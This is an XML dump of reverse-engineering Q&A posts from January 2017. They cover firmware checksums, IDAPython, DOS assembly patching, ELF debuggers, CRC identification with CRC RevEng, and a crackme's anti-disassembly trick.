LastActivityDate="2017-01-07T11:46:25.927" Title="How to decompress a custom game data file?" Tags="|file-format|decompress|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14346" PostTypeId="1" CreationDate="2017-01-07T13:08:43.927" Score="2" ViewCount="315" Body="&lt;p&gt;I am hacking a chinese smartwatch. I extracted a animated GIF from its firmware and edited it to test my tools. The new filesize was less than the old one, so I added zero's with &lt;code&gt;trunk&lt;/code&gt; command on Linux. However, after writing back the ROM, it refuses to boot without showing me anything. A friend of mine suggested me that there might be a simple checksum at end of file. However, I am unable to determine what kind of checksum it is in order to add it to my edited file. I added two sample files &lt;a href=&quot;https://drive.google.com/drive/folders/0B5KeQaTbh9msNlJfMEJ2bFRORGs?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;in this google drive folder (0 and 1 .gif)&lt;/a&gt;. The original userspace firmware is FILE_01_mtk. If I look at the first file, there are only a few bytes after the '3B' marker (probably end of GIF). However, the second GIF is completely different, with the '3B' alot before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me figure out what checksum or hash is used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Alexandre Croteau&lt;/p&gt;&#xA;" OwnerUserId="18701" LastActivityDate="2017-01-11T11:38:21.830" Title="How can I guess hashing or checksum algotrithm which is used?" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14350" PostTypeId="1" CreationDate="2017-01-08T10:18:01.230" Score="1" ViewCount="356" Body="&lt;p&gt;I have an INS object in the instrumentation function, and I wish to get the actual bytes used to code this instruction. Looking at the INS functions, the closest I found was a function to disassemble it (show the assembly code), where I'm seeking for the actual bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assistance is highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="18710" LastEditorUserId="18710" LastEditDate="2017-01-08T11:11:06.127" LastActivityDate="2017-01-08T11:11:06.127" Title="Get instruction bytes in JIT mode, Intel Pin" Tags="|assembly|pintool|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14351" PostTypeId="2" ParentId="14276" CreationDate="2017-01-08T16:33:37.723" Score="2" Body="&lt;p&gt;The C types in IDA Pro seem to ressemble the Visual C++ syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read an article written by Hex-Rays&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1361.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/1361.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primitive types that you must know:&#xA;bool, char, __int8, __int16, __int16, __int32, int, __int64, __int128&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you add a keyword 'unsigned' before in the beginning to make the value unsigned.&lt;/p&gt;&#xA;" OwnerUserId="17534" LastActivityDate="2017-01-08T16:33:37.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14353" PostTypeId="1" AcceptedAnswerId="14361" CreationDate="2017-01-09T21:16:10.843" Score="2" ViewCount="816" Body="&lt;p&gt;I wrote a simple IDAPython script that only prints out local functions and ignores library functions. But somehow, it prints every single function. Here is the script: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc, idautils&#xA;for func in idautils.Functions():&#xA;    flags = idc.GetFunctionFlags(func)&#xA;    # Ignore library functons&#xA;    if flags &amp;amp; FUNC_LIB:&#xA;        continue&#xA;    print idc.GetFunctionName(func)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I based my script from the second code snippet in this tutorial (&lt;a href=&quot;http://researchcenter.paloaltonetworks.com/2016/06/unit42-using-idapython-to-make-your-life-easier-part-6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://researchcenter.paloaltonetworks.com/2016/06/unit42-using-idapython-to-make-your-life-easier-part-6/&lt;/a&gt;). &lt;/p&gt;&#xA;" OwnerUserId="18722" LastActivityDate="2017-01-11T13:01:09.960" Title="IDAPython can't ignore library functions" Tags="|ida|idapython|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14357" PostTypeId="2" ParentId="14346" CreationDate="2017-01-09T22:24:05.037" Score="0" Body="&lt;p&gt;There is too little information to answer this properly, but I suspect there may be a checksum on the whole firmware and not just per file. Try changing some bytes here and there  (both in the target file and outside) and see if it works or not. In the worst case you'll need to disassemble the code and try to find the checking routine.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-01-09T22:24:05.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14358" PostTypeId="2" ParentId="4077" CreationDate="2017-01-09T23:08:22.097" Score="2" Body="&lt;p&gt;VBX files are standard NE (New Executable) files which use a few special entrypoints and structures used by VB. IDA Free does not support NE file format, you need  to use the full version (at least Starter) or another disassembler .You can find the details of the VBX API in the VB Control Development Kit (CDK) shipped with &lt;a href=&quot;https://winworldpc.com/download/4DA81FE7-57D8-11E4-A90F-7054D21A8599&quot; rel=&quot;nofollow noreferrer&quot;&gt;Visual Basic Pro 3.0&lt;/a&gt; or by searching for &quot;vbapi.h&quot;. Some additional information is available &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/aa268983&quot; rel=&quot;nofollow noreferrer&quot;&gt;in MSDN&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-01-09T23:08:22.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14359" PostTypeId="1" AcceptedAnswerId="14477" CreationDate="2017-01-10T00:39:12.300" Score="0" ViewCount="228" Body="&lt;p&gt;I am working on editing an old DOS program's assembly, but I'm running into some odd issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using IDA Pro 6.4 and a hex editor to patch. I'm code-caving the new data by removing old stuff never used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just changing the assembly code does nothing, in the sense that it just exits, no errors or nothing. The code properly disassembles and looks right, but it doesn't do anything. The code is 100% right as I'm basing it off another application. There is no protection as I explain below, other changes work. However anything that involves &quot;call&quot; or variables other than what was originally used...don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I'm doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code presently reads a ISA card for some data. I am making it fread a file instead. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The program is compiled using Watcom 9.5 and uses Causeway extender. It uses fastcall not stdcall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm starting to pull my hair out because I need to rework the logic so it does some other stuff (write to file for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's odd because simple changes to the logic work as I've made many other micro changes (jnz to jz for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise? Is there something in the file I'm missing? If you need more info, let me know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a change I've tried to make (this is the NEW code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebx&#xA;push    ecx&#xA;push    edx&#xA;push    esi&#xA;push    edi&#xA;push    ebp&#xA;mov     ebp, esp&#xA;sub     esp, 4&#xA;mov eax, offset pathname&#xA;push eax&#xA;call printf_&#xA;pop     ebp&#xA;pop     edi&#xA;pop     esi&#xA;pop     edx&#xA;pop     ecx&#xA;pop     ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18726" LastEditorUserId="18726" LastEditDate="2017-01-10T02:09:08.713" LastActivityDate="2017-01-23T04:17:27.150" Title="Issues rewriting portions of DOS app's assembly" Tags="|disassembly|assembly|dos|dos-exe|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14360" PostTypeId="2" ParentId="14359" CreationDate="2017-01-10T22:59:17.710" Score="1" Body="&lt;p&gt;In case of Watcom fastcall uses &lt;code&gt;eax&lt;/code&gt;, &lt;code&gt;edx&lt;/code&gt;, &lt;code&gt;ebx&lt;/code&gt;, &lt;code&gt;ecx&lt;/code&gt; for the first 4 arguments, however your code is &lt;em&gt;pushing&lt;/em&gt; &lt;code&gt;eax&lt;/code&gt; and is not restoring the stack afterwards. You should probably either add another pop (e.g. &lt;code&gt;pop eax&lt;/code&gt;) after the call or an &lt;code&gt;add esp, 4&lt;/code&gt;, OR use the esp value you saved in &lt;code&gt;ebp&lt;/code&gt;, i.e. &lt;code&gt;mov esp, ebp&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-01-10T22:59:17.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14361" PostTypeId="2" ParentId="14353" CreationDate="2017-01-10T23:34:56.903" Score="2" Body="&lt;p&gt;This is a confusion of terminology.  In IDA-speak, &quot;library function&quot; means &quot;a function from a (compiler) standard library&quot;, i.e. a function recognised by a FLIRT signature (usually colored in cyan). These are encountered in practice mostly in statically-linked Windows executables. On Linux and OS X the standard functions usually come from shared libraries so you will need another way to distinguish them - e.g. what what was suggested in the comments.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-01-11T13:01:09.960" LastActivityDate="2017-01-11T13:01:09.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14362" PostTypeId="2" ParentId="14346" CreationDate="2017-01-11T11:38:21.830" Score="2" Body="&lt;p&gt;You can dump the ROM, disassemble, find the code that loads and reads the GIF, and you are sure to find the checksum algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, you pretty much have to run a guessing game, remembering to check both endians. If you were the developer, what might you use? Usually they are either common or simplistic.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastActivityDate="2017-01-11T11:38:21.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14363" PostTypeId="1" AcceptedAnswerId="14364" CreationDate="2017-01-11T12:57:02.963" Score="2" ViewCount="17488" Body="&lt;p&gt;I cannot load the following executable type in OllyDbg:&#xA;- ELF 32-bit LSB executable, Intel 80386&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can OllyDbg not handle this kind of executables? What are good (OllyDbg-like) debuggers to debug ELF?&lt;/p&gt;&#xA;" OwnerUserId="18744" LastActivityDate="2017-01-11T13:08:22.690" Title="Debug ELF executable" Tags="|debugging|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14364" PostTypeId="2" ParentId="14363" CreationDate="2017-01-11T13:08:22.690" Score="3" Body="&lt;p&gt;Ollydbg debugger is for Microsoft Windows executables and DLLs. For debugging ELF I use &lt;a href=&quot;https://www.sourceware.org/gdb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB&lt;/a&gt; debugger. GDB can come with a GUI and you can find more about that in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1392/decent-gui-for-gdb&quot;&gt;this answer&lt;/a&gt; . Besides GDB, for reversing ELF files on Linux I would also suggest &lt;a href=&quot;https://radare.org/r/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-01-11T13:08:22.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14366" PostTypeId="1" AcceptedAnswerId="14378" CreationDate="2017-01-11T16:41:02.830" Score="0" ViewCount="513" Body="&lt;p&gt;This assembly is for Intel x86-64 bit, seems to be too baffling to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CXhq3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CXhq3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How come the &lt;code&gt;jz&lt;/code&gt; instruction jump to a non-instruction (&lt;code&gt;0x400AC9&lt;/code&gt;)?&lt;/li&gt;&#xA;&lt;li&gt;How come the &lt;code&gt;call&lt;/code&gt; invokes a non-existing address?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For curious ones, the binary is &lt;a href=&quot;https://www.mediafire.com/?yx5pv8llsvta4i8&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-12T13:06:06.887" Title="What exactly is this piece of assembly code doing?" Tags="|assembly|x86|elf|call|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14367" PostTypeId="2" ParentId="14366" CreationDate="2017-01-11T17:36:20.190" Score="1" Body="&lt;p&gt;IDA disassembled the instructions incorrectly. You need to manually change the instruction after jz to data and then change the jz destination to code. &lt;/p&gt;&#xA;" OwnerUserId="18722" LastActivityDate="2017-01-11T17:36:20.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14368" PostTypeId="2" ParentId="14366" CreationDate="2017-01-11T18:12:31.823" Score="0" Body="&lt;p&gt;You should patch the ptrace the program uses to check if it's being traced by a debugger and then use gdb or another debugger to see what's going on @runtime, if you insist on statically analyzing it you'll have to manually fix up the jump as yujyet said.&lt;/p&gt;&#xA;" OwnerUserId="18747" LastEditorUserId="18747" LastEditDate="2017-01-11T18:46:07.980" LastActivityDate="2017-01-11T18:46:07.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14370" PostTypeId="1" AcceptedAnswerId="14375" CreationDate="2017-01-11T20:30:20.257" Score="0" ViewCount="184" Body="&lt;p&gt;So I'm reading about antidebug and anti-reverse engineering techniques, but these cover, in all the docs I've seen, just executables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any resources that target &lt;em&gt;specifically&lt;/em&gt; shared and static libraries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, are the techniques for executables mainly applicable for static/dynamic libraries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18749" LastActivityDate="2017-01-12T08:53:52.523" Title="Antidebug/reverse engineering targeted for libraries" Tags="|debugging|binary-analysis|c|anti-debugging|libraries|" AnswerCount="2" CommentCount="2" ClosedDate="2017-01-19T02:24:01.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="14371" PostTypeId="2" ParentId="14370" CreationDate="2017-01-11T21:12:31.633" Score="1" Body="&lt;p&gt;I think all anti-debug and anti-reversing techniques are also applicable to shared and static libraries. Shared libraries are still code, just placed in a different file format. I guess people don't talk much about anti-reversing techniques in library codes since the techniques are the same.  &lt;/p&gt;&#xA;" OwnerUserId="18722" LastActivityDate="2017-01-11T21:12:31.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14373" PostTypeId="2" ParentId="11504" CreationDate="2017-01-12T00:15:22.670" Score="3" Body="&lt;p&gt;Your algorithm is probably the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0xffff  check=0x906e  name=&quot;X-25&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Operating on the whole packet except the first two bytes and the last two (the CRC).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Playing Buckaroo&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If a CRC analysis tool such as CRC RevEng rejects a set of codewords, it is worth starting with the smallest set and adding codewords until one is rejected, or the desired strength of confirmation is reached.  I'm trying just the 20-byte packets to avoid any complications; the first two produce results, the first three do too, the first four don't.  If I skip the fourth packet and add the fifth, I still get an answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ reveng -w 16 -s &quot;10020200C6FE2D00C5FE2D00047C000010038CEC&quot; &quot;10020200C5FE2D00C6FE2D00046D00001003DFA4&quot; &quot;10020200C6FE2D00C5FE2D00015B00531003C1C4&quot; &quot;10020200C5FE2D00C6FE2D00046E0000100313B9&quot;&#xA;width=16  poly=0x1021  init=0xb37a  refin=true  refout=true  xorout=0x0000  check=0x006b  name=(none)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Random is Rare&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now I'm confident enough to try different lengths of packet to get Init and XorOut.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ reveng -w 16 -s &quot;10020200C6FE2D00C5FE2D00047C000010038CEC&quot; &quot;10020200C5FE2D00C6FE2D00046D00001003DFA4&quot; &quot;10020200C6FE2D00C5FE2D00015B00531003C1C4&quot; &quot;10020200C5FE2D00C6FE2D00046E0000100313B9&quot; &quot;10020200C5FE2D00C6FE2D0001A405534B000D004B1003F50D&quot;&#xA;width=16  poly=0x1021  init=0x7c90  refin=true  refout=true  xorout=0x07f0  check=0x5902  name=(none)&#xA;width=16  poly=0x1021  init=0x8c8f  refin=true  refout=true  xorout=0xffff  check=0x5902  name=(none)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting a pair of results is normal for this polynomial.  Notice the Check values are the same because, as it happens, these two models produce identical results.  One of them has &lt;code&gt;xorout=0xffff&lt;/code&gt;, which is reassuring as it's a typical XorOut value.  However the corresponding Init value, &lt;code&gt;0x8c8f&lt;/code&gt;, is a little unexpected, but by no means impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever the Init or XorOut values look 'random', it's worth looking again at the packet format in case some of the bytes are not going into the CRC algorithm after all.  These unexpected bytes throw the search code and force the Init and/or XorOut values to adjust to accommodate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try removing equal numbers of bytes from the start of each of the packets, until I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ reveng -w 16 -s &quot;0200C6FE2D00C5FE2D00047C000010038CEC&quot; &quot;0200C5FE2D00C6FE2D00046D00001003DFA4&quot; &quot;0200C6FE2D00C5FE2D00015B00531003C1C4&quot; &quot;0200C5FE2D00C6FE2D00046E0000100313B9&quot; &quot;0200C5FE2D00C6FE2D0001A405534B000D004B1003F50D&quot;&#xA;width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0xffff  check=0x906e  name=&quot;X-25&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CRC RevEng is searching the preset models and finding one that matches; the command can be repeated with &lt;code&gt;-F&lt;/code&gt; to show that it has nothing up its sleeve.  The algorithm will reappear along with its identically-functioning alias, as explained above.  Accordingly, we can say the packet we rejected earlier may have a typo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ reveng -m x-25 -c 0200C6FE2D00C5FE2D00047D00001003&#xA;c8e7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18752" LastActivityDate="2017-01-12T00:15:22.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14374" PostTypeId="2" ParentId="13508" CreationDate="2017-01-12T00:23:36.787" Score="1" Body="&lt;p&gt;I believe the key here is &quot;Content-Type: application/bond-compact-binary&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;https://microsoft.github.io/bond/manual/bond_cpp.html#protocols&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://microsoft.github.io/bond/manual/bond_cpp.html#protocols&lt;/a&gt;, maybe that might help. A plugin for Fiddler or ZAP Proxy would be great!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Protocols&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bond protocols are pluggable, allowing application to choose the most&#xA;  appropriate encoding format. Bond supports three kinds of protocols:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tagged protocols&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tagged protocols interleave schema metadata within the payload. This&#xA;  makes the payload self-describing, allowing consumers to interpret it&#xA;  even without knowing the schema used by the producer.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Untagged protocols&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Untagged protocols serialize only data and thus require that consumers&#xA;  know the payload schema via some out-of-band mechanism. Untagged&#xA;  protocols are often used in storage scenarios because they allow&#xA;  storing a schema once (e.g. in a system table in a database) and thus&#xA;  eliminating metadata overhead from many records using the same schema.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;DOM-based protocols&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;DOM-based protocol parse whole payload into an in-memory Data Object&#xA;  Model which then is queried during deserialization. Typically this&#xA;  kind of protocol is used to implement text based encoding such as JSON&#xA;  or XML.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Compact Binary&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A binary, tagged protocol using variable integer encoding and compact&#xA;  field header. A good choice, along with Fast Binary, for RPC&#xA;  scenarios.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implemented in CompactBinaryReader and CompactBinaryWriter classes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Version 2 of Compact Binary adds length prefix for structs. This&#xA;  enables deserialization of bonded and skipping of unknown struct&#xA;  fields in constant time. The trade-off is double pass encoding,&#xA;  resulting in up to 30% slower serialization performance.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;See also Compact Binary encoding reference.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17124" LastActivityDate="2017-01-12T00:23:36.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14375" PostTypeId="2" ParentId="14370" CreationDate="2017-01-12T08:53:52.523" Score="2" Body="&lt;p&gt;To the best of my knowledge theoretically most obfuscation techniques are also applicable to libraries, but there are considerable downsides: Slowdown and increased support-difficulties. Please note if a program does something, there is always a way to find out how it archived it when you control the execution environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd advise you to keep any business logic you want to protect out of libraries by keeping the libraries generic. If your business model concerns the distribution of logic you want to keep a secret - its a pretty bad situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to offer some confidential functionality and performance is not an issue, think about offering it on the server side.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-01-12T08:53:52.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14377" PostTypeId="1" AcceptedAnswerId="14390" CreationDate="2017-01-12T11:26:43.593" Score="0" ViewCount="437" Body="&lt;p&gt;I am learning assembly and injections at the moment. Therefore I wrote a little program which simply prints out a hardcoded string. If I attach ollydbg to that I can inspect the executable I recognized that the offset in &quot;PUSH OFFSET 00ABC154&quot;, which is my string I want to print, changes sometimes when I run the application multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it because my string stands in the data segment and the data segment isn't located every time at the same offset from the data segment? Or why does my offset change?&lt;/p&gt;&#xA;" OwnerUserId="18642" LastActivityDate="2017-01-13T10:09:29.583" Title="Change of offset in instruction?" Tags="|disassembly|assembly|x86|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14378" PostTypeId="2" ParentId="14366" CreationDate="2017-01-12T11:29:11.143" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How come the jz instruction jump to a non-instruction (0x400AC9)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It does not. There is no such thing as &quot;an instruction&quot;. Jumps do not jump to &lt;em&gt;instructions&lt;/em&gt;, they jump to &lt;em&gt;addresses&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How come the call invokes a non-existing address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It does not. If you check what the code actually does, you will find this call will never be executed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is the relevant part of your code, prefixed with their original hex bytes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;400AC7:  66 b8 eb 05             mov    ax,0x5eb&#xA;400ACB:  31 c0                   xor    eax,eax&#xA;400ACD:  74 fa                   jz     0x400AC9&#xA;400ACF:  e8 0f b6 45 b0          call   0xffffffffb045b61c&#xA;400AD4:  3c 38                   cmp    al,0x38&#xA;400AD6:  0f                      .byte 0xf&#xA;400AD7:  85                      .byte 0x85&#xA;400AD8:  bc                      .byte 0xbc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you assume the instruction at 400AC7 executes, it loads &lt;code&gt;ax&lt;/code&gt; with some value but it gets immediately discarded by the next instruction, which clears it to &lt;code&gt;0&lt;/code&gt;. Because of that, the jump will &lt;strong&gt;always&lt;/strong&gt; be taken!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jump goes to 400AC9, and if we disassemble starting at that, we get some other code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;400AC9:  eb 05                   jmp    0x400AD0&#xA;400ACB:  31 c0                   xor    eax,eax&#xA;400ACD:  74 fa                   je     0x0&#xA;400ACF:  e8 0f b6 45 b0          call   0xffffffffb045b61a&#xA;400AD4:  3c 38                   cmp    al,0x38&#xA;400AD6:  0f                      .byte 0xf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it looks like you did not get any further, because there are still weird calls and undefined codes. However, look at the first instruction! It jumps again into the middle of something what appears to be an instruction &lt;em&gt;at this point&lt;/em&gt; – but if you start disassembling there, you will see that everything from that address on is perfectly ordinary code.*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;* Since this is a &quot;crackme&quot; and you already failed the first of its tests, I will not spoil the rest of it.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2017-01-12T13:06:06.887" LastActivityDate="2017-01-12T13:06:06.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14379" PostTypeId="1" CreationDate="2017-01-12T14:47:58.870" Score="6" ViewCount="239" Body="&lt;p&gt;While reversing an executable with olly, theres compiler code and user code. So how do i recognise the compiler codes ? Lets say if the executable is visual basic, it has a jmp and a call in the first 2 instructions and the winmain comes later.&lt;/p&gt;&#xA;" OwnerUserId="18758" LastActivityDate="2017-06-12T13:53:16.167" Title="How to distinguish different compiler codes in ASM?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14380" PostTypeId="1" AcceptedAnswerId="14381" CreationDate="2017-01-12T15:57:17.183" Score="0" ViewCount="1002" Body="&lt;p&gt;I'm interesteing, why someone not reverse engineer old windows 3.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, win 3.1 have no kernel(because kernel is dos), it's simply window manager(such as x window on unix), so why i can't reverse engineer it's and modify?&lt;/p&gt;&#xA;" OwnerDisplayName="user18759" LastActivityDate="2017-01-13T22:36:09.667" Title="Is reverse engineering possible for old windows kernels?" Tags="|windows|kernel|" AnswerCount="2" CommentCount="3" ClosedDate="2017-01-12T20:46:39.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="14381" PostTypeId="2" ParentId="14380" CreationDate="2017-01-12T16:25:47.187" Score="0" Body="&lt;p&gt;Someone should have reversed win3.1 when they needed it... they are probably retired now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others reimplemented Win3.1 API (Win16) in the &lt;a href=&quot;http://wiki.winehq.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;WINE project&lt;/a&gt; using published API references rather than reverse engineering it (to avoid legal issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.computerhistory.org/atchm/microsoft-ms-dos-early-source-code/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Early DOS source code&lt;/a&gt; is released a while ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reverse anything you want. You may however not be able to release any of your findings.&lt;/p&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="18772" LastEditDate="2017-01-13T22:36:09.667" LastActivityDate="2017-01-13T22:36:09.667" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14382" PostTypeId="1" AcceptedAnswerId="14383" CreationDate="2017-01-12T20:14:50.517" Score="0" ViewCount="855" Body="&lt;p&gt;Is it possible to reverse engineer a binary file with no extension? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/commaai/openpilot/tree/master/selfdrive/visiond&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/commaai/openpilot/tree/master/selfdrive/visiond&lt;/a&gt;&lt;a href=&quot;https://github.com/commaai/openpilot/tree/master/selfdrive/visiond&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried radare2 but it throws out the following error, so I am assuming it's a ARM binary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unimplemented elf reloc_convert for arm&lt;/p&gt;&#xA;" OwnerUserId="16067" LastActivityDate="2017-05-03T16:18:55.497" Title="Reverse Engineering a binary file with no extension" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
